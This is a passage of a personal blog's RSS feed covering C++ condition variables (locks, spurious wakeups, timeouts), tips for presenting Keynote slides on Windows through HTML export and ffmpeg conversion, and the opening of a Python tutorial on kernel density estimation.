class="hljs-comment">//   cv re-acquires the mutex and check the condition again.</span></div><div class="code-line numbered-code-line" data-line-number="12">    <span class="hljs-comment">//     If met, wake up the thread, keep holdong the lock, and continue.</span></div><div class="code-line numbered-code-line" data-line-number="13">    <span class="hljs-comment">//     If not met, **release** the lock, and suspend the thread until notified.</span></div><div class="code-line numbered-code-line" data-line-number="14"></div><div class="code-line numbered-code-line" data-line-number="15">    <span class="hljs-comment">// Equivalent to:</span></div><div class="code-line numbered-code-line" data-line-number="16">    <span class="hljs-keyword">while</span>(!ready) {</div><div class="code-line numbered-code-line" data-line-number="17">        <span class="hljs-comment">// Suspend the thread and release the lock</span></div><div class="code-line numbered-code-line" data-line-number="18">        cv.<span class="hljs-built_in">wait</span>(lck);</div><div class="code-line numbered-code-line" data-line-number="19">        <span class="hljs-comment">// When notified, re-acquire the lock</span></div><div class="code-line numbered-code-line" data-line-number="20">        <span class="hljs-comment">//    so that the condition checking is atomic.</span></div><div class="code-line numbered-code-line" data-line-number="21">    }</div><div class="code-line numbered-code-line" data-line-number="22">}</div></code></pre>
<p>The reasons for using locks revolve around the <code>wait</code> and condition checking. First, without the lock, the condition could change between the time the condition is checked and the time the thread is suspended. A lock ensures the atomicity of the process. Another reason is to avoid missing notifications, as the notification might be called just before it starts waiting. Therefore, the notifying threads should also use the same mutex before calling <code>notify</code>.</p>
<p>In other words, the mutex is designed to <strong>protect the conditional variable itself</strong>. It will be released as soon as the thread is suspended, so that other threads can access the conditional variable for notification and make changes to the conditions<sup><a href="#user-content-fn-whylock" id="user-content-fnref-whylock" data-footnote-ref aria-describedby="footnote-label">2</a></sup>.</p>
<h3 id="what-if-the-condition-is-met-before-waitnever-met"><a href="#what-if-the-condition-is-met-before-waitnever-met">What if the condition is met before wait/never met?</a></h3>
<p>When a thread is already suspended and the cv is notified, it will check the condition and suspend the thread again or wake up. However, the first <code>wait</code> call of the cv will not check the condition. It will suspend the thread, release the mutex, and wait for notification. Having the condition already met when calling <code>wait</code> is like calling the function without the condition predicate:</p>
<pre><code class="hljs language-cpp" class="hljs"><div class="code-line numbered-code-line" data-line-number="1">{</div><div class="code-line numbered-code-line" data-line-number="2">    std::unique_lock&#x3C;std::mutex> <span class="hljs-function hljs-title">lck</span><span class="hljs-function hljs-params">(mtx)</span>;</div><div class="code-line numbered-code-line" data-line-number="3">    <span class="hljs-comment">// After calling wait, release the lock, suspend the thread, and wait for notification.</span></div><div class="code-line numbered-code-line" data-line-number="4">    cv.<span class="hljs-built_in">wait</span>(lck);</div><div class="code-line numbered-code-line" data-line-number="5">}</div></code></pre>
<p>If the condition is never met, well, it suspends forever (as expected). In the example above, the condition for <code>cv_ready</code> is <code>num_ready == num_workers</code>. If this is never satisfied, the uspend<code>create_workers</code> function will hang indefinitely, indicating not all threads are ready.</p>
<h3 id="what-if-notify-is-called-before-waitnever-called"><a href="#what-if-notify-is-called-before-waitnever-called">What if notify() is called before wait/never called?</a></h3>
<p>If we notify before the wait call, the notification will be lost since these calls are not queued. Without more notifications, the thread will hang indefinitely until a spurious wakeup<sup><a href="#user-content-fn-leimao" id="user-content-fnref-leimao" data-footnote-ref aria-describedby="footnote-label">3</a></sup>. This sometimes mistakenly happens if you forgot to acquire the mutex in the notifying thread, emphasizing the importance of mutex in <code>cv</code>s.</p>
<p>If the notification is never called (and the conditions are met), it does not mean the thread will never wake up. There are two possibilities:</p>
<ul>
<li>Timeout Expire: If you use <code>wait_for</code> or <code>wait_until</code>, cv will wake up the thread after the timeout expires despite the condition not being met, and return <code>false</code> so you can handle timeout cases:</li>
</ul>
<pre><code class="hljs language-cpp" class="hljs"><div class="code-line numbered-code-line" data-line-number="1"><span class="hljs-keyword">if</span> (cv.<span class="hljs-built_in">wait_for</span>(lck, std::chrono::<span class="hljs-built_in">seconds</span>(<span class="hljs-number">1</span>),</div><div class="code-line numbered-code-line" data-line-number="2">                [] { <span class="hljs-keyword">return</span> ready; })) {</div><div class="code-line numbered-code-line" data-line-number="3">    <span class="hljs-comment">// Condition met</span></div><div class="code-line numbered-code-line" data-line-number="4">} <span class="hljs-keyword">else</span> {</div><div class="code-line numbered-code-line" data-line-number="5">    <span class="hljs-comment">// Timeout</span></div><div class="code-line numbered-code-line" data-line-number="6">}</div><div class="code-line numbered-code-line" data-line-number="7"></div><div class="code-line numbered-code-line" data-line-number="8"><span class="hljs-keyword">if</span> (cv.<span class="hljs-built_in">wait_until</span>(lck, std::chrono::system_clock::<span class="hljs-built_in">now</span>() + std::chrono::<span class="hljs-built_in">seconds</span>(<span class="hljs-number">1</span>),</div><div class="code-line numbered-code-line" data-line-number="9">                  [] { <span class="hljs-keyword">return</span> ready; })) {</div><div class="code-line numbered-code-line" data-line-number="10">    <span class="hljs-comment">// Condition met</span></div><div class="code-line numbered-code-line" data-line-number="11">} <span class="hljs-keyword">else</span> {</div><div class="code-line numbered-code-line" data-line-number="12">    <span class="hljs-comment">// Timeout</span></div><div class="code-line numbered-code-line" data-line-number="13">}</div></code></pre>
<ul>
<li>Spurious Wakeup: By definition, a spurious wakeup is a situation where the conditional variable wakes up without being notified<sup><a href="#user-content-fn-spurious" id="user-content-fnref-spurious" data-footnote-ref aria-describedby="footnote-label">4</a></sup>. As a phenomenon driven by platform-specific implementations and OS-level thread scheduling considerations<sup><a href="#user-content-fn-spuriouswhy" id="user-content-fnref-spuriouswhy" data-footnote-ref aria-describedby="footnote-label">5</a></sup>, it is neither guaranteed nor predictable. Therefore, we should always check for the conditions after waking up (this is why the predicate parameter in the <code>wait</code> function is typically necessary).</li>
</ul>
<!-- ### How about Semaphores? -->
<h3 id="suspend-vs-block"><a href="#suspend-vs-block">Suspend vs. Block</a></h3>
<p>Throughout this article, I have been using the term "suspend" to describe the behavior of a thread when it calls <code>cv.wait</code> instead of "block". I prefer to use "suspend" because it better describes the behavior of this wait. When a thread is suspended, it does not consume any CPU time until the <code>cv</code> is signaled (as long as built with <code>-pthread</code> flag in Linux systems)<sup><a href="#user-content-fn-pthread_wait" id="user-content-fnref-pthread_wait" data-footnote-ref aria-describedby="footnote-label">6</a></sup>. The thread is now unscheduled with its ID inserted at the tail of a list of waiting threads. In contrast, "blocking" a thread implies that the thread is performing some operation that is preventing it from running through, such as contention for a lock or waiting for I/O, which consumes more CPU resources. For example, a <code>do-while</code> loop can be considered as blocking the thread:</p>
<pre><code class="hljs language-cpp" class="hljs"><div class="code-line numbered-code-line" data-line-number="1"><span class="hljs-keyword">do</span> {</div><div class="code-line numbered-code-line" data-line-number="2">    <span class="hljs-comment">// Busy waiting for the condition, blocking the thread.</span></div><div class="code-line numbered-code-line" data-line-number="3">} <span class="hljs-keyword">while</span> (!ready);</div></code></pre>
<h2 id="conclusion"><a href="#conclusion">Conclusion</a></h2>
<p>That's a lot to take in! I do spend some time trying to understand this topic, and I hope this article can help you get a general idea of how conditional variables work.</p>
<p>In one word, conditional variables suspend a thread at specific locations and wait for <strong>notifications</strong> that instruct it to wake up the thread (condition met) or continue to wait (condition not met).</p>
<section data-footnotes class="footnotes"><h2 class="sr-only" id="footnote-label"><a href="#footnote-label">Footnotes</a></h2>
<ol>
<li id="user-content-fn-cppref">
<p><a href="https://en.cppreference.com/w/cpp/thread/condition_variable">https://en.cppreference.com/w/cpp/thread/condition_variable</a> <a href="#user-content-fnref-cppref" data-footnote-backref class="data-footnote-backref" aria-label="Back to content">↩</a></p>
</li>
<li id="user-content-fn-whylock">
<p><a href="https://stackoverflow.com/a/2763749/10926869">https://stackoverflow.com/a/2763749/10926869</a> <a href="#user-content-fnref-whylock" data-footnote-backref class="data-footnote-backref" aria-label="Back to content">↩</a></p>
</li>
<li id="user-content-fn-leimao">
<p><a href="https://leimao.github.io/blog/CPP-Condition-Variable">https://leimao.github.io/blog/CPP-Condition-Variable</a> <a href="#user-content-fnref-leimao" data-footnote-backref class="data-footnote-backref" aria-label="Back to content">↩</a></p>
</li>
<li id="user-content-fn-spurious">
<p><a href="https://en.wikipedia.org/wiki/Spurious_wakeup">https://en.wikipedia.org/wiki/Spurious_wakeup</a> <a href="#user-content-fnref-spurious" data-footnote-backref class="data-footnote-backref" aria-label="Back to content">↩</a></p>
</li>
<li id="user-content-fn-spuriouswhy">
<p><a href="https://stackoverflow.com/a/1461956/10926869">https://stackoverflow.com/a/1461956/10926869</a> <a href="#user-content-fnref-spuriouswhy" data-footnote-backref class="data-footnote-backref" aria-label="Back to content">↩</a></p>
</li>
<li id="user-content-fn-pthread_wait">
<p><a href="https://stackoverflow.com/a/3966781/10926869">https://stackoverflow.com/a/3966781/10926869</a> <a href="#user-content-fnref-pthread_wait" data-footnote-backref class="data-footnote-backref" aria-label="Back to content">↩</a></p>
</li>
</ol>
</section>]]></description>
            <link>https://jtchen.io/blog/cpp-conditional-variables</link>
            <guid isPermaLink="false">cpp-conditional-variables</guid>
            <dc:creator><![CDATA[Juntong Chen]]></dc:creator>
            <pubDate>Mon, 05 Aug 2024 00:00:00 GMT</pubDate>
        </item>
        <item>
            <title><![CDATA[Tips on Presenting Keynote Slides on Windows Devices]]></title>
            <description><![CDATA[<p>If you are like me who like to use Keynote to create slides for presentations, you might have encountered issues when trying to present your slides on public devices. As most public PCs are Windows systems, you will need to convert your Keynote slides to PowerPoint. However, the conversion process might introduce a couple of problems to your slides, including but not limited to:</p>
<ul>
<li>Misaligned text boxes due to different font rendering and missing fonts (because some <code>otf</code> fonts can not be embedded in the PowerPoint file)</li>
<li>Videos cannot be played or not starting from desired location (because PowerPoint for Windows has limited video format support, and the video's trimming settings will be lost)</li>
<li>Math equations look different (because PowerPoint does not support LaTeX natively)</li>
<li>Transitions and animations are not preserved</li>
<li>Images and Gradients can no longer be edited</li>
</ul>
<p>For more information, Apple has compiled a full list of compability list between Keynote and PowerPoint, which you can find <a href="https://www.apple.com/hk/en/keynote/compatibility/">here</a>. What's worse, if you think your slides is simple enough and choose to export your slides to PowerPoint, there would be an extra layer of uncertainty: even sometimes the slides look perfect on your Mac's PowerPoint, they will lose all the fonts and formatting when opened on a Windows machine. This is extremely frustrating when you discover the problem right on the spot.</p>
<p>Although for static presentations, you can choose PDF export to guarantee the viewers see exactly what you see, it is not an option if you want to present transition animations or videos. From my practice, I found that the most reliable way to present Keynote slides on Windows devices is to export the slides in HTML format. This operation generates a self-contained HTML project that can be opened in any modern browser. The HTML project includes all the resources needed for the slides including videos and images. Under the hood, Keynote generate a set of PDF files for each stage of the builds and animations, and use JavaScript to control transitions.</p>
<h3 id="using-h264-codec-for-videos"><a href="#using-h264-codec-for-videos">Using H.264 Codec for Videos</a></h3>
<p>If the embedded video uses a video codec that is not supported by older versions of iOS (e.g. H.265), the generated HTML file will not be able to play the video. You might want to make sure that your video is encoded with the H.264 codec. If you have <code>ffmpeg</code> installed on your system, you can use the following command to convert the video:</p>
<pre><code class="hljs language-bash" class="hljs"><div class="code-line numbered-code-line" data-line-number="1">ffmpeg -i input.mp4 -c:v libx264 -crf 23 output.mp4</div></code></pre>
<p>Here <code>-crf</code> is the quality parameter named <em><a href="https://trac.ffmpeg.org/wiki/Encode/H.264#crf">Constant Rate Factor</a></em>, where lower values mean higher quality. In most cases, a value between 17 and 28 is acceptable, and I personally use 23 in most cases.</p>
<h3 id="use-chromium-based-browsers"><a href="#use-chromium-based-browsers">Use Chromium-based Browsers</a></h3>
<p>I found some pages of the HTML document are not properly rendered in Firefox (see examples below). Please remember to use Chromium-based browsers such as Google Chrome, Microsoft Edge, or Brave to open the document.</p>
<p><a data-fslightbox="gallery" href="https://billc.oss-cn-shanghai.aliyuncs.com/v2/img/2024/07/28/1722101781894.png"><img src="https://billc.oss-cn-shanghai.aliyuncs.com/v2/img/2024/07/28/1722101781894.png" alt="1722101781894" loading="lazy" data-wrapped="true"></a></p>
<h3 id="exporting-the-presenter-notes-if-needed"><a href="#exporting-the-presenter-notes-if-needed">Exporting the Presenter Notes (If Needed)</a></h3>
<p>If you need to read the presenter notes while presenting, you can print the slides using the "Handout" layout with "Include presenter notes" selected. Save the printing results as a PDF, and open it on a separate screen or device while presenting the slides in the browser. You can also consider using the <a href="https://keynote-extractor.com/">Keynote Extractor</a> tool (I am not affiliated with this tool), it creates a separate HTML document with slide content and presenter notes side by side.</p>
<p><a data-fslightbox="gallery" href="https://billc.oss-cn-shanghai.aliyuncs.com/v2/img/2024/07/28/1722104363366.png"><img src="https://billc.oss-cn-shanghai.aliyuncs.com/v2/img/2024/07/28/1722104363366.png" alt="1722104363366" loading="lazy" data-wrapped="true"></a></p>
<p>Still, exporting the slides as HTML is not a perfect solution for the render results has limited resolution on high-DPI displays. The slides might look a bit blurry on high-resolution screens. Also, you won't be able to use the presenter notes and the timer while presenting. Nevertheless, this is by far the most reliable way to present Keynote slides on Windows devices if you want to keep every detail of your slides. If you have any other tips or better solutions, please let me know in the comments below.</p>]]></description>
            <link>https://jtchen.io/blog/keynote-on-windows</link>
            <guid isPermaLink="false">keynote-on-windows</guid>
            <dc:creator><![CDATA[Juntong Chen]]></dc:creator>
            <pubDate>Fri, 26 Jul 2024 00:00:00 GMT</pubDate>
        </item>
        <item>
            <title><![CDATA[Kernel Density Estimation with Python from Scratch]]></title>
            <description><![CDATA[<p>Kernel density estimation (KDE) is a statistical technique used to estimate the probability density function of a random variable. It creates a smooth curve from discretely sampled data that reflects the underlying density distribution. KDE is widely used in various fields, including signal processing, statistics, machine learning, data visualization, etc.</p>
<p>Given a set of independent and identically distributed samples <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>x</mi><mo>=</mo><mo stretchy="false">{</mo><msub><mi>x</mi><mn>1</mn></msub><mo separator="true">,</mo><msub><mi>x</mi><mn>2</mn></msub><mo separator="true">,</mo><mo>⋯</mo><mtext> </mtext><mo separator="true">,</mo><msub><mi>x</mi><mi>n</mi></msub><mo stretchy="false">}</mo></mrow><annotation encoding="application/x-tex">x = \{x_1, x_2, \cdots, x_n\}</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal">x</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mopen">{</span><span class="mord"><span class="mord mathnormal">x</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord"><span class="mord mathnormal">x</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">2</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="minner">⋯</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord"><span class="mord mathnormal">x</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.1514em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">n</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mclose">}</span></span></span></span>, the KDE process can be formulated as:</p>
<span class="katex-display"><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML" display="block"><semantics><mrow><mover accent="true"><mi>f</mi><mo>^</mo></mover><mo stretchy="false">(</mo><mi>x</mi><mo separator="true">;</mo><mi>h</mi><mo stretchy="false">)</mo><mo>=</mo><mfrac><mn>1</mn><mrow><mi>n</mi><mi>h</mi></mrow></mfrac><munderover><mo>∑</mo><mrow><mi>i</mi><mo>=</mo><mn>1</mn></mrow><mi>n</mi></munderover><mi>K</mi><mrow><mo fence="true">(</mo><mfrac><mrow><mi>x</mi><mo>−</mo><msub><mi>x</mi><mi>i</mi></msub></mrow><mi>h</mi></mfrac><mo fence="true">)</mo></mrow></mrow><annotation encoding="application/x-tex">\hat{f}(x;h)=\frac{1}{n h} \sum_{i=1}^n K\left(\frac{x-x_i}{h}\right)</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1.2079em;vertical-align:-0.25em;"></span><span class="mord accent"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.9579em;"><span style="top:-3em;"><span class="pstrut" style="height:3em;"></span><span class="mord mathnormal" style="margin-right:0.10764em;">f</span></span><span style="top:-3.2634em;"><span class="pstrut" style="height:3em;"></span><span class="accent-body" style="left:-0.0833em;"><span class="mord">^</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.1944em;"><span></span></span></span></span></span><span class="mopen">(</span><span class="mord mathnormal">x</span><span class="mpunct">;</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal">h</span><span class="mclose">)</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:2.9291em;vertical-align:-1.2777em;"></span><span class="mord"><span class="mopen nulldelimiter"></span><span class="mfrac"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.3214em;"><span style="top:-2.314em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord mathnormal">nh</span></span></span><span style="top:-3.23em;"><span class="pstrut" style="height:3em;"></span><span class="frac-line" style="border-bottom-width:0.04em;"></span></span><span style="top:-3.677em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.686em;"><span></span></span></span></span></span><span class="mclose nulldelimiter"></span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mop op-limits"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.6514em;"><span style="top:-1.8723em;margin-left:0em;"><span class="pstrut" style="height:3.05em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">i</span><span class="mrel mtight">=</span><span class="mord mtight">1</span></span></span></span><span style="top:-3.05em;"><span class="pstrut" style="height:3.05em;"></span><span><span class="mop op-symbol large-op">∑</span></span></span><span style="top:-4.3em;margin-left:0em;"><span class="pstrut" style="height:3.05em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">n</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:1.2777em;"><span></span></span></span></span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal" style="margin-right:0.07153em;">K</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="minner"><span class="mopen delimcenter" style="top:0em;"><span class="delimsizing size3">(</span></span><span class="mord"><span class="mopen nulldelimiter"></span><span class="mfrac"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.2603em;"><span style="top:-2.314em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord mathnormal">h</span></span></span><span style="top:-3.23em;"><span class="pstrut" style="height:3em;"></span><span class="frac-line" style="border-bottom-width:0.04em;"></span></span><span style="top:-3.677em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord mathnormal">x</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">−</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mord"><span class="mord mathnormal">x</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3117em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">i</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.686em;"><span></span></span></span></span></span><span class="mclose nulldelimiter"></span></span><span class="mclose delimcenter" style="top:0em;"><span class="delimsizing size3">)</span></span></span></span></span></span></span>
<p>Where <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>K</mi></mrow><annotation encoding="application/x-tex">K</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal" style="margin-right:0.07153em;">K</span></span></span></span> is the kernel function that satisfies <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msubsup><mo>∫</mo><mrow><mo>−</mo><mi mathvariant="normal">∞</mi></mrow><mi mathvariant="normal">∞</mi></msubsup><mi>K</mi><mo stretchy="false">(</mo><mi>t</mi><mo stretchy="false">)</mo><mi>d</mi><mi>t</mi><mo>=</mo><mn>1</mn></mrow><annotation encoding="application/x-tex">\int_{-\infty}^{\infty} K(t)dt = 1</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1.2734em;vertical-align:-0.4142em;"></span><span class="mop"><span class="mop op-symbol small-op" style="margin-right:0.19445em;position:relative;top:-0.0006em;">∫</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.8593em;"><span style="top:-2.3442em;margin-left:-0.1945em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">−</span><span class="mord mtight">∞</span></span></span></span><span style="top:-3.2579em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">∞</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.4142em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal" style="margin-right:0.07153em;">K</span><span class="mopen">(</span><span class="mord mathnormal">t</span><span class="mclose">)</span><span class="mord mathnormal">d</span><span class="mord mathnormal">t</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">1</span></span></span></span>. Essentially, for a specific location of <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mover accent="true"><mi>f</mi><mo>^</mo></mover></mrow><annotation encoding="application/x-tex">\hat{f}</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1.1523em;vertical-align:-0.1944em;"></span><span class="mord accent"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.9579em;"><span style="top:-3em;"><span class="pstrut" style="height:3em;"></span><span class="mord mathnormal" style="margin-right:0.10764em;">f</span></span><span style="top:-3.2634em;"><span class="pstrut" style="height:3em;"></span><span class="accent-body" style="left:-0.0833em;"><span class="mord">^</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.1944em;"><span></span></span></span></span></span></span></span></span>, the kernel <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>K</mi></mrow><annotation encoding="application/x-tex">K</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal" style="margin-right:0.07153em;">K</span></span></span></span> is assigning a weight for any <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msub><mi>x</mi><mi>i</mi></msub></mrow><annotation encoding="application/x-tex">x_i</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.5806em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathnormal">x</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3117em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">i</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span></span> regarding their distance to <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>x</mi></mrow><annotation encoding="application/x-tex">x</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal">x</span></span></span></span>.  <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>h</mi></mrow><annotation encoding="application/x-tex">h</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6944em;"></span><span class="mord mathnormal">h</span></span></span></span> is a bandwidth parameter, controlling that distance. If this formula is not clear enough, Matthew Conlen's interactive website <a href="https://mathisonian.github.io/">Kernel Density Estimation</a> provides quite an intuitive insight into the KDE process.</p>
<p>There are several open-source Python libraries available for performing kernel density estimation (KDE), including <code>scipy</code>, <code>scikit-learn</code>, <code>statsmodel</code>, and <code>KDEpy</code>. A <a href="https://jakevdp.github.io/blog/2013/12/01/kernel-density-estimation/">blog post</a> by Jake VanderPlas provides a comparison of the algorithms and APIs offered by these libraries. If you want to understand the underlying process of KDE, this post will guide you through writing a KDE process from scratch using Python (although we will still import <code>scipy</code>'s <code>optimize</code> function to minimize a function, you can implement your own Golden-Selection search if desired).</p>
<p>First, we need to import some necessary libraries and set the random seed:</p>
<pre><code class="hljs language-Python" class="hljs"><div class="code-line numbered-code-line" data-line-number="1"><span class="hljs-keyword">import</span> numpy <span class="hljs-keyword">as</span> np</div><div class="code-line numbered-code-line" data-line-number="2"><span class="hljs-keyword">import</span> pandas <span class="hljs-keyword">as</span> pd</div><div class="code-line numbered-code-line" data-line-number="3"><span class="hljs-keyword">import</span> matplotlib.pyplot <span class="hljs-keyword">as</span> plt</div><div class="code-line numbered-code-line" data-line-number="4"><span class="hljs-keyword">from</span> scipy <span class="hljs-keyword">import</span> stats, optimize</div><div class="code-line numbered-code-line" data-line-number="5"></div><div class="code-line numbered-code-line" data-line-number="6">rand_seed = <span class="hljs-number">100</span></div></code></pre>
<p>Then we are going to generate some datasets for testing. We created four datasets, each containing 100 randomly selected data points drawn from a specific distribution. One distribution is a standard normal distribution, while the other three are bimodal, consisting of normal, exponential, and uniform distributions. The real distribution is returned in the form of probability density functions (PDFs) for visualization.</p>
<pre><code class="hljs language-python" class="hljs"><div class="code-line numbered-code-line" data-line-number="1"><span class="hljs-keyword">def</span> <span class="hljs-title function_">make_data_normal</span>(data_count=<span class="hljs-params hljs-number">100</span>):</div><div class="code-line numbered-code-line" data-line-number="2">    np.random.seed(rand_seed)</div><div class="code-line numbered-code-line" data-line-number="3">    x = np.random.normal(<span class="hljs-number">0</span>, <span class="hljs-number">1</span>, data_count)</div><div class="code-line numbered-code-line" data-line-number="4">    dist = <span class="hljs-keyword">lambda</span> z: stats.norm(<span class="hljs-number">0</span>, <span class="hljs-number">1</span>).pdf(z)</div><div class="code-line numbered-code-line" data-line-number="5">    <span class="hljs-keyword">return</span> x, dist</div><div class="code-line numbered-code-line" data-line-number="6"></div><div class="code-line numbered-code-line" data-line-number="7"><span class="hljs-keyword">def</span> <span class="hljs-title function_">make_data_binormal</span>(data_count=<span class="hljs-params hljs-number">100</span>):</div><div class="code-line numbered-code-line" data-line-number="8">    alpha = <span class="hljs-number">0.3</span></div><div class="code-line numbered-code-line" data-line-number="9">    np.random.seed(rand_seed)</div><div class="code-line numbered-code-line" data-line-number="10">    x = np.concatenate([</div><div class="code-line numbered-code-line" data-line-number="11">        np.random.normal(-<span class="hljs-number">1</span>, <span class="hljs-number">2</span>, <span class="hljs-built_in">int</span>(data_count * alpha)),</div><div class="code-line numbered-code-line" data-line-number="12">        np.random.normal(<span class="hljs-number">5</span>, <span class="hljs-number">1</span>, <span class="hljs-built_in">int</span>(data_count * (<span class="hljs-number">1</span> - alpha)))</div><div class="code-line numbered-code-line" data-line-number="13">    ])</div><div class="code-line numbered-code-line" data-line-number="14">    dist = <span class="hljs-keyword">lambda</span> z: alpha * stats.norm(-<span class="hljs-number">1</span>, <span class="hljs-number">2</span>).pdf(z) + (<span class="hljs-number">1</span> - alpha) * stats.norm(<span class="hljs-number">5</span>, <span class="hljs-number">1</span>).pdf(z)</div><div class="code-line numbered-code-line" data-line-number="15">    <span class="hljs-keyword">return</span> x, dist</div><div class="code-line numbered-code-line" data-line-number="16"></div><div class="code-line numbered-code-line" data-line-number="17"><span class="hljs-keyword">def</span> <span class="hljs-title function_">make_data_exp</span>(data_count=<span class="hljs-params hljs-number">100</span>):</div><div class="code-line numbered-code-line" data-line-number="18">    alpha = <span 